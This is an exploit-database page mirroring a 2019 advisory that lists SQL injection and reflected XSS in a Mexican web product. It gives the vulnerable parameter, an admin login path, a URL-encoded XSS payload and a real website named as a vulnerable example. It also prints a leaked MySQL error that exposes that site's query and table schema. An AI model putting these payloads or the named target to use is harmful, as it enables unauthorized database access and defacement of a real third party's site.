Advertisement






Desarrollado Por Ambiente Dinamico Mexico XSS SQL Injection

CVE Category Price Severity
CWE-89 Unknown High
Author Risk Exploitation Type Date
Ambiente Dinamico Mexico Critical Remote 2019-05-23
CVSS EPSS EPSSP
Not available 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019050253

Below is a copy:

Desarrollado Por Ambiente Dinamico Mexico XSS SQL Injection
###################################################################

# Exploit Title : Desarrollado Por Ambiente Dinamico Mexico XSS SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 23/05/2019
# Vendor Homepage : ambientedinamico.com
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-89 [ Improper Neutralization of 
Special Elements used in an SQL Command ('SQL Injection') ]
CWE-79 [ Improper Neutralization of Input During 
Web Page Generation ('Cross-site Scripting') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

###################################################################

# Impact :
***********
Desarrollado Por Ambiente Dinamico is prone to an SQL-injection 
vulnerability because it fails to sufficiently sanitize user-supplied data before using 
it in an SQL query. Exploiting this issue could allow an attacker to compromise the 
application, access or modify data, or exploit latent vulnerabilities in the underlying database. 
A remote attacker can send a specially crafted request to the vulnerable application and 
execute arbitrary SQL commands in application`s database. Further exploitation of this 
vulnerability may result in unauthorized data manipulation. 
An attacker can exploit this issue using a browser or with any SQL Injector Tool.

Reflected XSS (or Non-Persistent) :
***************************************
The server reads data directly from the HTTP request and reflects it back in the 
HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply 
dangerous content to a vulnerable web application, which is then reflected back to the victim
 and executed by the web browser. The most common mechanism for delivering malicious 
content is to include it as a parameter in a URL that is posted publicly or e-mailed directly 
to the victim. URLs constructed in this manner constitute the core of many phishing 
schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. 
After the site reflects the attacker's content back to the victim,the content is executed by the victim's browser.

###################################################################

# Admin Panel Login Path :
*************************
/site/mx/estructuras/login.php

# SQL Injection Exploit :
**********************
/site/mx/estructuras/detalle_producto.php?id=[SQL Injection]

# Cross Site Scripting XSS Exploit :
********************************
/site/mx/estructuras/detalle_producto.php?id=
1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EXSS-
Vulnerability-Discovered-By-KingSkrupellos%3C/font%3E%3C/marquee%3E

/detalle_producto.php?id=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EXSS-
Vulnerability-Discovered-By-KingSkrupellos%3C/font%3E%3C/marquee%3E

###################################################################

# Example Vulnerable Sites :
*************************
[+] mwlatam.com.mx/site/mx/estructuras/detalle_producto.php?id=1%27

[+] mwlatam.com.mx/site/mx/estructuras/detalle_producto.php?id=
1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EXSS-
Vulnerability-Discovered-By-KingSkrupellos%3C/font%3E%3C/marquee%3E

###################################################################

# Example SQL Database Error :
****************************
Could not successfully run query () from DB: You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right syntax
 to use near '\' AND activo=1 AND ( compania='2' )' at line 10
SELECT id_articulo, compania, codigo, descripcion, descripcion1, descripcion2, 
unidad_de_venta, master_pack, inner_pack, referencia, familia, (SELECT familia 
FROM tbl_x_marcas_familia_sub_familia WHERE tbl_x_articulos.familia=
tbl_x_marcas_familia_sub_familia.cod_familia AND tbl_x_articulos.compania=
tbl_x_marcas_familia_sub_familia.compania LIMIT 0, 1) AS nomb_familia, 
sub_familia, (SELECT sub_familia FROM tbl_x_marcas_familia_sub_familia
 WHERE tbl_x_articulos.sub_familia=tbl_x_marcas_familia_sub_familia.
cod_sub_familia AND tbl_x_articulos.compania=tbl_x_marcas_familia_sub_familia.compania 
LIMIT 0, 1) AS nomb_sub_familia, marca, (SELECT marca FROM 
tbl_x_marcas_familia_sub_familia WHERE tbl_x_articulos.marca=tbl_x_marcas_
familia_sub_familia.cod_marca AND tbl_x_articulos.compania=tbl_x_marcas_
familia_sub_familia.compania LIMIT 0, 1) AS nomb_marca, Division, observaciones, 
existencia_disponible, existencia_disponible, compras_pendientes, precio_costo, 
precio_venta0, precio_venta1, precio_venta2, precio_venta3, costo_us, costo_landed_us, 
precio_mayor_us, precio_detal_us, codigo_de_barra1, codigo_de_barra2, 
codigo_de_barra3, codigo_de_barra_master_pack, codigo_de_barra_inner_pack, 
(select concat(peso_uni,"*~*",volumen_uni,"*~*",largo_uni,"*~*",ancho_uni,
"*~*",alto_uni,"*~*",peso_sub_bulto,"*~*",volumen_sub_bulto,"*~*",largo_sub_bulto,
"*~*",ancho_sub_bulto,"*~*",alto_sub_bulto,"*~*",peso_bulto,"*~*",volumen_bulto,
"*~*",largo_bulto,"*~*",ancho_bulto,"*~*",alto_bulto,"*~*",ti,"*~*",hi,"*~*
",cajas_x_paleta,"*~*",siglas_origen,"*~*",codigo_arancelario) from tbl_
x_articulos_datos_logisticos where tbl_x_articulos_datos_logisticos.codigo = 
tbl_x_articulos.codigo AND tbl_x_articulos_datos_logisticos.compania = 
tbl_x_articulos.compania ORDER BY tbl_x_articulos_datos_logisticos.posicion 
ASC LIMIT 0, 1 ) as Datos_logisticos FROM tbl_x_articulos WHERE activo=1 
AND id_articulo=1\' AND activo=1 AND ( compania='2' ) 

SQL Error [256] (1064) You have an error in your SQL syntax; check the manual 
that corresponds to your MySQL server version for the right syntax to use near
 '\' AND activo=1 AND ( compania='2' )' at line 10
Query : On line 344 in file /site/mx/estructuras/detalle_producto.php , PHP 5.5.38 (Linux)
Aborting...

###################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

###################################################################

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum